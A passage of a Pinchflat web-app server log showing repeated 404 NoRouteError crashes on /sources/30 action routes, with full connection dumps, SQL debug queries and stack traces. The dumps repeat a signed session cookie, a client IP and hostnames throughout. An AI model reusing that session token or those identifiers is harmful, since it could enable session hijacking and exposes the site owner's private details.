"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139238.0>, params: %{}, path_info: ["sources", "30", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0h1mWID97kYAAB6I"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3 (truncated) 04:53:46.612 [debug] QUERY OK source="source_metadata" db=0.4ms idle=13.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [30] 04:53:46.600 [error] #PID<0.139239.0> running PinchflatWeb.Endpoint (connection #PID<0.139105.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139239.0>, params: %{}, path_info: ["sources", "30", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0h1nwuFHz_gAADIH"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, h (truncated) 04:53:46.613 [debug] QUERY OK source="media_metadata" db=0.3ms idle=13.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [141479] 04:53:46.615 [info] Sent 200 in 74ms 04:53:46.603 [error] #PID<0.139241.0> running PinchflatWeb.Endpoint (connection #PID<0.139240.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139241.0>, params: %{}, path_info: ["sources", "30", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0h2IROX3TKIAAB6o"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.oca (truncated) 04:53:46.730 [info] GET /sources/30/sync_files_on_disk 04:53:46.731 [info] GET /sources/30/force_metadata_refresh 04:53:46.732 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=131.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.732 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=132.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.733 [debug] QUERY OK source="settings" db=0.4ms idle=131.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.733 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.733 [debug] QUERY OK source="settings" db=0.3ms idle=120.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.734 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.734 [error] #PID<0.139242.0> running PinchflatWeb.Endpoint (connection #PID<0.139240.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139242.0>, params: %{}, path_info: ["sources", "30", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0iVn4ce3O5gAAB7I"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", 